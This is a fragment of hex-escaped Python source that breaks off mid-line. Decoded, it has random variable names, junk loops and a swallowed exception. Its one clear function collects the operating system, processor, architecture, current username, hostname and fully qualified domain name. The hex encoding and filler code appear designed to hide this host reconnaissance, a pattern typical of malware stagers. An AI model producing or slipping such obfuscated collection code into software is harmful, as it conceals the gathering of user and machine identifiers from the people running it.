x77\x51\x75\x47\x47\x6f\x4a\x48\x48\x7a\x71\x48\x46\x4c\x74\x47\x43\x43\x53\x52\x4a\x53\x51\x68\x4f\x63\x43\x49\x52\x42\x53\x78\x42\x52\x47\x4c\x6c\x77\x54\x4c\x74\x52\x6e\x6f\x43\x46\x45\x79\x20\x3d\x20\x27\x48\x78\x53\x6a\x79\x74\x57\x48\x50\x41\x79\x46\x49\x77\x58\x73\x4a\x52\x70\x45\x7a\x4c\x48\x6f\x4d\x45\x53\x4c\x6a\x63\x52\x41\x78\x6b\x52\x75\x45\x74\x47\x71\x4a\x4e\x79\x77\x42\x45\x47\x70\x77\x71\x44\x4a\x76\x6b\x46\x72\x47\x43\x67\x53\x63\x49\x47\x44\x42\x46\x49\x7a\x51\x74\x42\x7a\x55\x7a\x43\x5a\x6f\x64\x41\x49\x50\x76\x68\x52\x55\x46\x44\x48\x4e\x78\x78\x77\x53\x51\x4f\x77\x78\x43\x6d\x51\x75\x41\x49\x71\x47\x49\x4a\x56\x50\x41\x46\x4f\x46\x53\x58\x69\x7a\x48\x79\x52\x42\x54\x43\x76\x77\x6e\x48\x27\x0a\x20\x20\x20\x20\x6e\x47\x61\x76\x42\x6b\x49\x74\x7a\x42\x75\x54\x58\x51\x49\x7a\x48\x49\x44\x6f\x53\x4a\x4f\x75\x77\x6b\x47\x6d\x51\x77\x79\x52\x49\x74\x75\x50\x7a\x52\x71\x4a\x78\x4f\x49\x66\x63\x45\x4e\x65\x42\x74\x47\x73\x51\x73\x52\x52\x54\x69\x48\x42\x58\x71\x46\x48\x41\x5a\x43\x6e\x76\x45\x6d\x70\x47\x4a\x76\x63\x53\x75\x49\x75\x45\x73\x51\x75\x7a\x79\x47\x47\x79\x46\x75\x7a\x46\x6e\x48\x76\x6b\x49\x49\x49\x69\x76\x52\x75\x44\x64\x76\x53\x74\x7a\x76\x77\x49\x44\x46\x70\x43\x79\x6d\x42\x45\x66\x52\x7a\x74\x69\x53\x20\x3d\x20\x27\x49\x4a\x6d\x54\x49\x53\x74\x50\x41\x6b\x66\x43\x76\x46\x76\x4f\x55\x75\x75\x76\x77\x6c\x50\x69\x43\x52\x78\x6c\x64\x44\x42\x66\x76\x75\x52\x72\x71\x44\x45\x75\x52\x53\x55\x52\x56\x77\x51\x49\x6e\x51\x43\x65\x63\x4a\x4c\x4a\x50\x53\x75\x47\x48\x42\x53\x49\x6d\x43\x77\x51\x45\x79\x7a\x4d\x48\x4c\x70\x59\x75\x4a\x47\x77\x53\x6b\x67\x7a\x43\x6d\x4f\x53\x49\x49\x42\x7a\x49\x49\x75\x42\x72\x45\x42\x45\x45\x4a\x72\x74\x57\x41\x45\x4e\x53\x7a\x67\x4d\x45\x4f\x44\x78\x7a\x54\x42\x43\x75\x53\x56\x50\x78\x45\x47\x27\x0a\x20\x20\x20\x20\x7a\x49\x73\x4e\x4a\x70\x48\x47\x70\x70\x4a\x53\x45\x43\x70\x45\x78\x71\x45\x72\x73\x6b\x43\x57\x77\x5a\x4a\x6f\x70\x42\x6b\x45\x57\x50\x75\x71\x49\x42\x42\x52\x6f\x53\x41\x51\x6c\x51\x47\x48\x42\x76\x53\x7a\x75\x53\x48\x45\x6c\x69\x52\x6c\x72\x53\x46\x73\x46\x75\x53\x65\x52\x53\x42\x52\x59\x76\x48\x79\x55\x6a\x70\x42\x44\x71\x50\x71\x41\x6e\x51\x51\x74\x74\x47\x6e\x45\x63\x74\x78\x79\x6f\x70\x6b\x4a\x7a\x51\x6f\x45\x53\x79\x50\x6f\x45\x47\x69\x76\x6e\x50\x53\x4d\x58\x68\x74\x43\x42\x44\x47\x51\x4e\x44\x20\x3d\x20\x5b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x43\x71\x4a\x7a\x79\x6a\x6c\x55\x6c\x69\x77\x44\x5a\x75\x50\x51\x6d\x6f\x6c\x76\x52\x6d\x48\x43\x48\x44\x79\x51\x78\x6c\x4b\x55\x67\x79\x51\x6f\x41\x7a\x6e\x54\x43\x4a\x45\x72\x7a\x72\x51\x43\x46\x78\x55\x54\x43\x4a\x52\x4a\x7a\x47\x48\x7a\x47\x43\x4a\x49\x72\x47\x41\x45\x75\x7a\x53\x50\x77\x78\x50\x4a\x72\x78\x4b\x79\x42\x43\x71\x50\x46\x6a\x70\x42\x47\x53\x58\x6d\x75\x43\x74\x54\x73\x72\x6e\x6a\x62\x45\x70\x74\x48\x45\x4c\x47\x67\x7a\x49\x47\x73\x6d\x53\x49\x41\x6a\x52\x71\x50\x79\x53\x79\x6c\x44\x66\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x7a\x77\x51\x4a\x6e\x44\x74\x6f\x4a\x78\x76\x76\x42\x55\x53\x45\x52\x6f\x4a\x52\x6e\x73\x6e\x44\x52\x72\x65\x45\x43\x78\x46\x78\x48\x45\x45\x52\x6f\x76\x5a\x6e\x47\x43\x43\x78\x77\x72\x79\x52\x77\x49\x48\x48\x53\x4f\x43\x66\x4c\x53\x53\x6c\x43\x64\x66\x7a\x73\x48\x6f\x48\x52\x43\x41\x53\x68\x48\x53\x73\x44\x7a\x45\x6f\x4a\x77\x48\x71\x77\x42\x6f\x7a\x47\x58\x77\x68\x51\x48\x53\x42\x57\x42\x44\x47\x78\x53\x79\x72\x4e\x41\x76\x47\x49\x53\x73\x49\x6e\x46\x42\x72\x58\x45\x45\x75\x79\x47\x76\x49\x50\x56\x46\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x48\x78\x53\x6a\x79\x74\x57\x48\x50\x41\x79\x46\x49\x77\x58\x73\x4a\x52\x70\x45\x7a\x4c\x48\x6f\x4d\x45\x53\x4c\x6a\x63\x52\x41\x78\x6b\x52\x75\x45\x74\x47\x71\x4a\x4e\x79\x77\x42\x45\x47\x70\x77\x71\x44\x4a\x76\x6b\x46\x72\x47\x43\x67\x53\x63\x49\x47\x44\x42\x46\x49\x7a\x51\x74\x42\x7a\x55\x7a\x43\x5a\x6f\x64\x41\x49\x50\x76\x68\x52\x55\x46\x44\x48\x4e\x78\x78\x77\x53\x51\x4f\x77\x78\x43\x6d\x51\x75\x41\x49\x71\x47\x49\x4a\x56\x50\x41\x46\x4f\x46\x53\x58\x69\x7a\x48\x79\x52\x42\x54\x43\x76\x77\x6e\x48\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x72\x4d\x50\x4a\x41\x41\x75\x52\x51\x44\x4f\x55\x75\x4d\x4a\x53\x77\x73\x56\x76\x41\x72\x44\x72\x7a\x76\x55\x6d\x73\x5a\x52\x67\x72\x41\x4d\x45\x56\x44\x51\x51\x50\x4e\x41\x52\x43\x77\x48\x4b\x44\x75\x48\x42\x41\x71\x41\x55\x74\x74\x50\x52\x44\x77\x44\x49\x4f\x48\x56\x55\x50\x52\x41\x6d\x56\x4a\x53\x53\x47\x4a\x4b\x49\x4c\x55\x56\x4f\x75\x78\x6e\x53\x7a\x73\x53\x4f\x72\x48\x47\x46\x78\x49\x47\x47\x49\x71\x4a\x43\x7a\x53\x46\x46\x50\x77\x48\x71\x49\x55\x76\x51\x41\x74\x52\x51\x79\x46\x73\x41\x42\x78\x44\x27\x0a\x20\x20\x20\x20\x5d\x0a\x20\x20\x20\x20\x66\x6f\x72\x20\x50\x45\x52\x77\x52\x44\x77\x62\x75\x47\x6e\x74\x46\x4f\x59\x72\x6c\x68\x71\x50\x44\x48\x45\x56\x45\x50\x52\x5a\x44\x47\x6f\x77\x53\x76\x50\x4a\x42\x56\x48\x51\x4a\x7a\x77\x42\x56\x44\x76\x42\x42\x50\x74\x51\x72\x59\x51\x47\x49\x43\x4a\x48\x43\x47\x41\x44\x52\x52\x62\x5a\x4e\x78\x48\x4e\x7a\x6a\x54\x50\x52\x4e\x41\x51\x6f\x43\x7a\x50\x50\x49\x4a\x53\x43\x4e\x48\x59\x53\x6f\x48\x77\x48\x78\x4e\x50\x4f\x69\x4c\x6d\x63\x43\x43\x43\x4d\x53\x5a\x48\x7a\x6a\x76\x78\x56\x71\x5a\x49\x6a\x73\x47\x74\x77\x44\x48\x20\x69\x6e\x20\x6e\x47\x61\x76\x42\x6b\x49\x74\x7a\x42\x75\x54\x58\x51\x49\x7a\x48\x49\x44\x6f\x53\x4a\x4f\x75\x77\x6b\x47\x6d\x51\x77\x79\x52\x49\x74\x75\x50\x7a\x52\x71\x4a\x78\x4f\x49\x66\x63\x45\x4e\x65\x42\x74\x47\x73\x51\x73\x52\x52\x54\x69\x48\x42\x58\x71\x46\x48\x41\x5a\x43\x6e\x76\x45\x6d\x70\x47\x4a\x76\x63\x53\x75\x49\x75\x45\x73\x51\x75\x7a\x79\x47\x47\x79\x46\x75\x7a\x46\x6e\x48\x76\x6b\x49\x49\x49\x69\x76\x52\x75\x44\x64\x76\x53\x74\x7a\x76\x77\x49\x44\x46\x70\x43\x79\x6d\x42\x45\x66\x52\x7a\x74\x69\x53\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x6f\x57\x70\x73\x58\x4a\x76\x79\x4a\x45\x41\x6d\x52\x53\x71\x61\x79\x48\x77\x73\x71\x6d\x47\x4a\x77\x75\x43\x6b\x75\x4d\x79\x42\x69\x63\x72\x44\x77\x6d\x6d\x71\x76\x4e\x79\x4c\x73\x56\x48\x4c\x48\x77\x44\x6b\x73\x76\x64\x45\x6a\x48\x41\x57\x76\x6f\x46\x57\x78\x50\x53\x56\x4d\x6d\x4e\x73\x69\x70\x77\x44\x63\x79\x7a\x6d\x48\x4f\x46\x45\x52\x49\x58\x44\x44\x49\x53\x4e\x74\x47\x50\x76\x75\x52\x42\x72\x44\x43\x71\x52\x54\x48\x51\x43\x51\x7a\x58\x6e\x49\x49\x41\x6d\x48\x48\x6d\x44\x52\x79\x44\x4e\x55\x49\x48\x20\x69\x6e\x20\x56\x4a\x68\x59\x74\x45\x4c\x7a\x7a\x42\x73\x79\x45\x43\x43\x56\x7a\x46\x44\x46\x4a\x6a\x7a\x46\x73\x50\x65\x78\x43\x71\x44\x42\x6e\x52\x6e\x71\x74\x46\x46\x45\x69\x54\x4e\x63\x44\x70\x45\x48\x69\x74\x46\x50\x49\x43\x76\x76\x53\x4a\x66\x78\x52\x76\x47\x6d\x45\x58\x76\x52\x48\x43\x43\x76\x70\x46\x4a\x52\x46\x46\x44\x53\x42\x52\x71\x74\x73\x4a\x49\x49\x71\x51\x76\x74\x78\x58\x70\x47\x79\x6c\x4f\x70\x50\x49\x48\x46\x45\x47\x4d\x70\x73\x59\x78\x52\x49\x54\x48\x74\x42\x4a\x71\x47\x65\x4c\x44\x51\x56\x6c\x70\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x74\x49\x77\x7a\x4a\x69\x52\x79\x44\x70\x50\x7a\x52\x6d\x79\x47\x4f\x68\x73\x43\x4f\x6c\x78\x76\x49\x6a\x67\x69\x47\x41\x4a\x46\x56\x44\x45\x65\x78\x42\x49\x74\x45\x77\x52\x50\x76\x48\x52\x46\x6e\x45\x4d\x52\x45\x62\x51\x4a\x77\x6d\x56\x65\x6d\x4f\x48\x49\x44\x79\x42\x42\x50\x79\x72\x77\x53\x7a\x78\x6b\x44\x48\x4a\x58\x68\x4c\x46\x42\x42\x44\x52\x52\x52\x6d\x44\x52\x42\x6a\x7a\x71\x6a\x52\x42\x4d\x42\x74\x6b\x56\x4f\x43\x4a\x49\x74\x72\x57\x71\x4c\x6c\x43\x44\x6d\x45\x4a\x71\x59\x45\x41\x6f\x44\x6b\x75\x20\x3d\x3d\x20\x78\x6b\x4a\x74\x50\x57\x48\x44\x46\x48\x53\x7a\x54\x46\x4d\x56\x6e\x43\x53\x70\x49\x6d\x53\x52\x4e\x6a\x56\x59\x50\x51\x46\x52\x46\x73\x79\x78\x50\x4a\x53\x47\x51\x51\x41\x4a\x4f\x73\x76\x45\x79\x77\x74\x4d\x43\x42\x78\x59\x4c\x47\x59\x47\x73\x77\x75\x76\x57\x77\x7a\x47\x53\x73\x79\x43\x69\x79\x48\x79\x5a\x75\x7a\x77\x51\x75\x47\x47\x6f\x4a\x48\x48\x7a\x71\x48\x46\x4c\x74\x47\x43\x43\x53\x52\x4a\x53\x51\x68\x4f\x63\x43\x49\x52\x42\x53\x78\x42\x52\x47\x4c\x6c\x77\x54\x4c\x74\x52\x6e\x6f\x43\x46\x45\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6f\x57\x70\x73\x58\x4a\x76\x79\x4a\x45\x41\x6d\x52\x53\x71\x61\x79\x48\x77\x73\x71\x6d\x47\x4a\x77\x75\x43\x6b\x75\x4d\x79\x42\x69\x63\x72\x44\x77\x6d\x6d\x71\x76\x4e\x79\x4c\x73\x56\x48\x4c\x48\x77\x44\x6b\x73\x76\x64\x45\x6a\x48\x41\x57\x76\x6f\x46\x57\x78\x50\x53\x56\x4d\x6d\x4e\x73\x69\x70\x77\x44\x63\x79\x7a\x6d\x48\x4f\x46\x45\x52\x49\x58\x44\x44\x49\x53\x4e\x74\x47\x50\x76\x75\x52\x42\x72\x44\x43\x71\x52\x54\x48\x51\x43\x51\x7a\x58\x6e\x49\x49\x41\x6d\x48\x48\x6d\x44\x52\x79\x44\x4e\x55\x49\x48\x20\x3d\x20\x50\x45\x52\x77\x52\x44\x77\x62\x75\x47\x6e\x74\x46\x4f\x59\x72\x6c\x68\x71\x50\x44\x48\x45\x56\x45\x50\x52\x5a\x44\x47\x6f\x77\x53\x76\x50\x4a\x42\x56\x48\x51\x4a\x7a\x77\x42\x56\x44\x76\x42\x42\x50\x74\x51\x72\x59\x51\x47\x49\x43\x4a\x48\x43\x47\x41\x44\x52\x52\x62\x5a\x4e\x78\x48\x4e\x7a\x6a\x54\x50\x52\x4e\x41\x51\x6f\x43\x7a\x50\x50\x49\x4a\x53\x43\x4e\x48\x59\x53\x6f\x48\x77\x48\x78\x4e\x50\x4f\x69\x4c\x6d\x63\x43\x43\x43\x4d\x53\x5a\x48\x7a\x6a\x76\x78\x56\x71\x5a\x49\x6a\x73\x47\x74\x77\x44\x48\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x78\x6b\x4a\x74\x50\x57\x48\x44\x46\x48\x53\x7a\x54\x46\x4d\x56\x6e\x43\x53\x70\x49\x6d\x53\x52\x4e\x6a\x56\x59\x50\x51\x46\x52\x46\x73\x79\x78\x50\x4a\x53\x47\x51\x51\x41\x4a\x4f\x73\x76\x45\x79\x77\x74\x4d\x43\x42\x78\x59\x4c\x47\x59\x47\x73\x77\x75\x76\x57\x77\x7a\x47\x53\x73\x79\x43\x69\x79\x48\x79\x5a\x75\x7a\x77\x51\x75\x47\x47\x6f\x4a\x48\x48\x7a\x71\x48\x46\x4c\x74\x47\x43\x43\x53\x52\x4a\x53\x51\x68\x4f\x63\x43\x49\x52\x42\x53\x78\x42\x52\x47\x4c\x6c\x77\x54\x4c\x74\x52\x6e\x6f\x43\x46\x45\x79\x20\x3d\x3d\x20\x6f\x57\x70\x73\x58\x4a\x76\x79\x4a\x45\x41\x6d\x52\x53\x71\x61\x79\x48\x77\x73\x71\x6d\x47\x4a\x77\x75\x43\x6b\x75\x4d\x79\x42\x69\x63\x72\x44\x77\x6d\x6d\x71\x76\x4e\x79\x4c\x73\x56\x48\x4c\x48\x77\x44\x6b\x73\x76\x64\x45\x6a\x48\x41\x57\x76\x6f\x46\x57\x78\x50\x53\x56\x4d\x6d\x4e\x73\x69\x70\x77\x44\x63\x79\x7a\x6d\x48\x4f\x46\x45\x52\x49\x58\x44\x44\x49\x53\x4e\x74\x47\x50\x76\x75\x52\x42\x72\x44\x43\x71\x52\x54\x48\x51\x43\x51\x7a\x58\x6e\x49\x49\x41\x6d\x48\x48\x6d\x44\x52\x79\x44\x4e\x55\x49\x48\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6f\x57\x70\x73\x58\x4a\x76\x79\x4a\x45\x41\x6d\x52\x53\x71\x61\x79\x48\x77\x73\x71\x6d\x47\x4a\x77\x75\x43\x6b\x75\x4d\x79\x42\x69\x63\x72\x44\x77\x6d\x6d\x71\x76\x4e\x79\x4c\x73\x56\x48\x4c\x48\x77\x44\x6b\x73\x76\x64\x45\x6a\x48\x41\x57\x76\x6f\x46\x57\x78\x50\x53\x56\x4d\x6d\x4e\x73\x69\x70\x77\x44\x63\x79\x7a\x6d\x48\x4f\x46\x45\x52\x49\x58\x44\x44\x49\x53\x4e\x74\x47\x50\x76\x75\x52\x42\x72\x44\x43\x71\x52\x54\x48\x51\x43\x51\x7a\x58\x6e\x49\x49\x41\x6d\x48\x48\x6d\x44\x52\x79\x44\x4e\x55\x49\x48\x20\x3d\x20\x6e\x47\x61\x76\x42\x6b\x49\x74\x7a\x42\x75\x54\x58\x51\x49\x7a\x48\x49\x44\x6f\x53\x4a\x4f\x75\x77\x6b\x47\x6d\x51\x77\x79\x52\x49\x74\x75\x50\x7a\x52\x71\x4a\x78\x4f\x49\x66\x63\x45\x4e\x65\x42\x74\x47\x73\x51\x73\x52\x52\x54\x69\x48\x42\x58\x71\x46\x48\x41\x5a\x43\x6e\x76\x45\x6d\x70\x47\x4a\x76\x63\x53\x75\x49\x75\x45\x73\x51\x75\x7a\x79\x47\x47\x79\x46\x75\x7a\x46\x6e\x48\x76\x6b\x49\x49\x49\x69\x76\x52\x75\x44\x64\x76\x53\x74\x7a\x76\x77\x49\x44\x46\x70\x43\x79\x6d\x42\x45\x66\x52\x7a\x74\x69\x53\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6b\x4a\x74\x50\x57\x48\x44\x46\x48\x53\x7a\x54\x46\x4d\x56\x6e\x43\x53\x70\x49\x6d\x53\x52\x4e\x6a\x56\x59\x50\x51\x46\x52\x46\x73\x79\x78\x50\x4a\x53\x47\x51\x51\x41\x4a\x4f\x73\x76\x45\x79\x77\x74\x4d\x43\x42\x78\x59\x4c\x47\x59\x47\x73\x77\x75\x76\x57\x77\x7a\x47\x53\x73\x79\x43\x69\x79\x48\x79\x5a\x75\x7a\x77\x51\x75\x47\x47\x6f\x4a\x48\x48\x7a\x71\x48\x46\x4c\x74\x47\x43\x43\x53\x52\x4a\x53\x51\x68\x4f\x63\x43\x49\x52\x42\x53\x78\x42\x52\x47\x4c\x6c\x77\x54\x4c\x74\x52\x6e\x6f\x43\x46\x45\x79\x20\x3d\x20\x6e\x47\x61\x76\x42\x6b\x49\x74\x7a\x42\x75\x54\x58\x51\x49\x7a\x48\x49\x44\x6f\x53\x4a\x4f\x75\x77\x6b\x47\x6d\x51\x77\x79\x52\x49\x74\x75\x50\x7a\x52\x71\x4a\x78\x4f\x49\x66\x63\x45\x4e\x65\x42\x74\x47\x73\x51\x73\x52\x52\x54\x69\x48\x42\x58\x71\x46\x48\x41\x5a\x43\x6e\x76\x45\x6d\x70\x47\x4a\x76\x63\x53\x75\x49\x75\x45\x73\x51\x75\x7a\x79\x47\x47\x79\x46\x75\x7a\x46\x6e\x48\x76\x6b\x49\x49\x49\x69\x76\x52\x75\x44\x64\x76\x53\x74\x7a\x76\x77\x49\x44\x46\x70\x43\x79\x6d\x42\x45\x66\x52\x7a\x74\x69\x53\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x6f\x57\x70\x73\x58\x4a\x76\x79\x4a\x45\x41\x6d\x52\x53\x71\x61\x79\x48\x77\x73\x71\x6d\x47\x4a\x77\x75\x43\x6b\x75\x4d\x79\x42\x69\x63\x72\x44\x77\x6d\x6d\x71\x76\x4e\x79\x4c\x73\x56\x48\x4c\x48\x77\x44\x6b\x73\x76\x64\x45\x6a\x48\x41\x57\x76\x6f\x46\x57\x78\x50\x53\x56\x4d\x6d\x4e\x73\x69\x70\x77\x44\x63\x79\x7a\x6d\x48\x4f\x46\x45\x52\x49\x58\x44\x44\x49\x53\x4e\x74\x47\x50\x76\x75\x52\x42\x72\x44\x43\x71\x52\x54\x48\x51\x43\x51\x7a\x58\x6e\x49\x49\x41\x6d\x48\x48\x6d\x44\x52\x79\x44\x4e\x55\x49\x48\x20\x69\x6e\x20\x7a\x49\x73\x4e\x4a\x70\x48\x47\x70\x70\x4a\x53\x45\x43\x70\x45\x78\x71\x45\x72\x73\x6b\x43\x57\x77\x5a\x4a\x6f\x70\x42\x6b\x45\x57\x50\x75\x71\x49\x42\x42\x52\x6f\x53\x41\x51\x6c\x51\x47\x48\x42\x76\x53\x7a\x75\x53\x48\x45\x6c\x69\x52\x6c\x72\x53\x46\x73\x46\x75\x53\x65\x52\x53\x42\x52\x59\x76\x48\x79\x55\x6a\x70\x42\x44\x71\x50\x71\x41\x6e\x51\x51\x74\x74\x47\x6e\x45\x63\x74\x78\x79\x6f\x70\x6b\x4a\x7a\x51\x6f\x45\x53\x79\x50\x6f\x45\x47\x69\x76\x6e\x50\x53\x4d\x58\x68\x74\x43\x42\x44\x47\x51\x4e\x44\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x56\x4a\x68\x59\x74\x45\x4c\x7a\x7a\x42\x73\x79\x45\x43\x43\x56\x7a\x46\x44\x46\x4a\x6a\x7a\x46\x73\x50\x65\x78\x43\x71\x44\x42\x6e\x52\x6e\x71\x74\x46\x46\x45\x69\x54\x4e\x63\x44\x70\x45\x48\x69\x74\x46\x50\x49\x43\x76\x76\x53\x4a\x66\x78\x52\x76\x47\x6d\x45\x58\x76\x52\x48\x43\x43\x76\x70\x46\x4a\x52\x46\x46\x44\x53\x42\x52\x71\x74\x73\x4a\x49\x49\x71\x51\x76\x74\x78\x58\x70\x47\x79\x6c\x4f\x70\x50\x49\x48\x46\x45\x47\x4d\x70\x73\x59\x78\x52\x49\x54\x48\x74\x42\x4a\x71\x47\x65\x4c\x44\x51\x56\x6c\x70\x20\x3d\x20\x6f\x57\x70\x73\x58\x4a\x76\x79\x4a\x45\x41\x6d\x52\x53\x71\x61\x79\x48\x77\x73\x71\x6d\x47\x4a\x77\x75\x43\x6b\x75\x4d\x79\x42\x69\x63\x72\x44\x77\x6d\x6d\x71\x76\x4e\x79\x4c\x73\x56\x48\x4c\x48\x77\x44\x6b\x73\x76\x64\x45\x6a\x48\x41\x57\x76\x6f\x46\x57\x78\x50\x53\x56\x4d\x6d\x4e\x73\x69\x70\x77\x44\x63\x79\x7a\x6d\x48\x4f\x46\x45\x52\x49\x58\x44\x44\x49\x53\x4e\x74\x47\x50\x76\x75\x52\x42\x72\x44\x43\x71\x52\x54\x48\x51\x43\x51\x7a\x58\x6e\x49\x49\x41\x6d\x48\x48\x6d\x44\x52\x79\x44\x4e\x55\x49\x48\x0a\x65\x78\x63\x65\x70\x74\x20\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3a\x0a\x20\x20\x20\x20\x70\x61\x73\x73\x0a\x64\x65\x66\x20\x6e\x76\x4e\x6f\x7a\x7a\x43\x7a\x6f\x6d\x46\x43\x51\x4a\x52\x75\x6e\x51\x58\x45\x70\x53\x72\x43\x76\x46\x73\x49\x52\x77\x52\x53\x7a\x45\x42\x53\x46\x49\x6f\x44\x44\x70\x52\x44\x42\x46\x6d\x69\x7a\x4a\x52\x46\x41\x46\x52\x51\x6e\x59\x53\x4e\x51\x47\x44\x52\x43\x7a\x44\x73\x49\x47\x48\x7a\x57\x65\x46\x77\x43\x55\x47\x4a\x43\x4a\x47\x44\x53\x56\x47\x48\x75\x69\x68\x46\x72\x44\x78\x53\x45\x55\x4d\x51\x51\x49\x72\x52\x6b\x63\x46\x77\x52\x66\x73\x47\x42\x46\x53\x54\x71\x78\x76\x4a\x47\x75\x76\x72\x55\x49\x49\x28\x70\x6c\x61\x74\x5f\x74\x79\x70\x65\x29\x3a\x0a\x20\x20\x20\x20\x51\x79\x79\x51\x4a\x53\x7a\x7a\x47\x4a\x4a\x69\x47\x76\x75\x61\x49\x4a\x74\x46\x50\x73\x4a\x43\x49\x73\x76\x49\x43\x74\x4a\x72\x48\x73\x48\x55\x43\x6b\x46\x4e\x51\x6f\x53\x6b\x46\x75\x43\x42\x52\x67\x72\x6d\x48\x76\x4c\x74\x78\x44\x7a\x43\x4e\x6a\x50\x46\x56\x49\x6a\x4a\x53\x4a\x6b\x75\x4a\x53\x51\x44\x49\x44\x4a\x4f\x75\x46\x79\x4e\x45\x6d\x4a\x72\x43\x72\x4a\x4c\x45\x4d\x4e\x46\x79\x47\x6e\x53\x56\x57\x4f\x68\x4a\x70\x54\x52\x49\x42\x42\x47\x7a\x45\x71\x6f\x70\x4a\x72\x70\x42\x44\x45\x70\x46\x48\x41\x20\x3d\x20\x70\x6c\x61\x74\x66\x6f\x72\x6d\x2e\x70\x6c\x61\x74\x66\x6f\x72\x6d\x28\x29\x0a\x20\x20\x20\x20\x70\x72\x6f\x63\x65\x73\x73\x6f\x72\x20\x20\x20\x20\x3d\x20\x70\x6c\x61\x74\x66\x6f\x72\x6d\x2e\x70\x72\x6f\x63\x65\x73\x73\x6f\x72\x28\x29\x0a\x20\x20\x20\x20\x61\x72\x63\x68\x69\x74\x65\x63\x74\x75\x72\x65\x20\x3d\x20\x70\x6c\x61\x74\x66\x6f\x72\x6d\x2e\x61\x72\x63\x68\x69\x74\x65\x63\x74\x75\x72\x65\x28\x29\x5b\x30\x5d\x0a\x20\x20\x20\x20\x44\x4a\x41\x4f\x71\x50\x49\x6e\x6d\x78\x78\x47\x79\x43\x75\x68\x72\x50\x41\x50\x41\x49\x68\x75\x53\x57\x44\x74\x52\x43\x41\x47\x52\x4d\x44\x44\x6f\x55\x76\x4d\x76\x53\x57\x43\x45\x6d\x50\x68\x6e\x72\x74\x41\x6a\x47\x6a\x48\x43\x48\x73\x47\x42\x48\x46\x6d\x6d\x44\x6e\x6b\x51\x42\x78\x4a\x49\x78\x4f\x77\x77\x7a\x4e\x6c\x49\x43\x53\x7a\x46\x45\x52\x53\x50\x75\x7a\x42\x47\x68\x57\x72\x49\x48\x46\x79\x6e\x46\x4a\x50\x56\x44\x71\x42\x77\x51\x48\x76\x6f\x72\x48\x74\x77\x6f\x47\x47\x53\x4a\x46\x77\x42\x47\x49\x20\x3d\x20\x67\x65\x74\x70\x61\x73\x73\x2e\x67\x65\x74\x75\x73\x65\x72\x28\x29\x0a\x20\x20\x20\x20\x5a\x52\x71\x49\x72\x79\x78\x78\x53\x79\x52\x7a\x70\x52\x41\x46\x46\x47\x6d\x76\x6c\x51\x51\x47\x4e\x6e\x4d\x72\x46\x73\x52\x7a\x45\x4f\x42\x44\x6a\x52\x71\x76\x46\x44\x42\x54\x70\x41\x52\x72\x77\x47\x45\x73\x46\x46\x79\x74\x78\x50\x7a\x53\x67\x68\x70\x51\x46\x6e\x71\x41\x46\x5a\x48\x52\x55\x4e\x50\x47\x7a\x42\x43\x71\x5a\x6b\x74\x47\x4f\x77\x74\x45\x76\x49\x49\x4c\x4b\x45\x53\x72\x55\x53\x79\x70\x41\x44\x58\x4f\x46\x77\x76\x4f\x45\x4f\x4a\x46\x4a\x53\x79\x70\x70\x76\x4a\x6f\x67\x5a\x48\x66\x6a\x72\x52\x20\x20\x20\x20\x3d\x20\x73\x6f\x63\x6b\x65\x74\x2e\x67\x65\x74\x68\x6f\x73\x74\x6e\x61\x6d\x65\x28\x29\x0a\x20\x20\x20\x20\x45\x6e\x4a\x71\x74\x43\x79\x6c\x45\x54\x72\x53\x79\x59\x79\x4a\x4e\x73\x76\x74\x75\x41\x44\x6b\x48\x6e\x46\x44\x6c\x43\x46\x52\x44\x53\x76\x4a\x44\x4a\x53\x4a\x49\x6a\x44\x42\x49\x43\x7a\x42\x78\x49\x79\x47\x46\x74\x4e\x45\x69\x4d\x46\x4e\x51\x71\x52\x49\x42\x61\x53\x7a\x45\x47\x56\x6e\x41\x66\x44\x57\x53\x63\x79\x43\x62\x56\x43\x78\x50\x50\x53\x49\x53\x72\x4c\x69\x56\x51\x47\x52\x43\x70\x53\x48\x6a\x79\x46\x45\x43\x53\x44\x46\x46\x45\x79\x7a\x6e\x4a\x6d\x50\x47\x44\x57\x4a\x43\x73\x49\x41\x79\x46\x58\x20\x20\x20\x20\x20\x20\x20\x20\x3d\x20\x73\x6f\x63\x6b\x65\x74\x2e\x67\x65\x74\x66\x71\x64\x6e\x28\x29\x0a\x20\x20\x20\x20\x41\x4a\x67\x78\x71\x53\x44\x45\x75\x79\x43\x44\x4a\x50\x45\x78\x43\x45\x44\x49\x48\x72\x72\x7a\x41\x50\x77\x4f\x41\x49\x48\x49\x52\x73\x44\x41\x49\x6f\x79\x51\x50\x69\x73\x49\x72\x56\x48\x67\x53\x4d\x51\x4a\x75\x79\x67\x46\x46\x46\x48\x42\x69\x53\x6b\x42\x76\x47\x49\x42\x47\x46\x79\x6b\x42\x44\x47\x52\x4a\x51\x53\x77\x78\x79\x46\x70\x41\x49\x6f\x73\x53\x53\x51\x71\x47\x51\x49\x7a\x77\x70\x71\x56\x50\x79\x4a\x47\x45\x42\x74\x6b\x66\x6a\x65\x47\x5a\x4b\x46\x76\x4e\x48\x46\x69\x45\x4d\x43\x49\x41\x6d\x20\x3d\x20\x73\x6f\x63\x6b\x65\x74\x2e\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\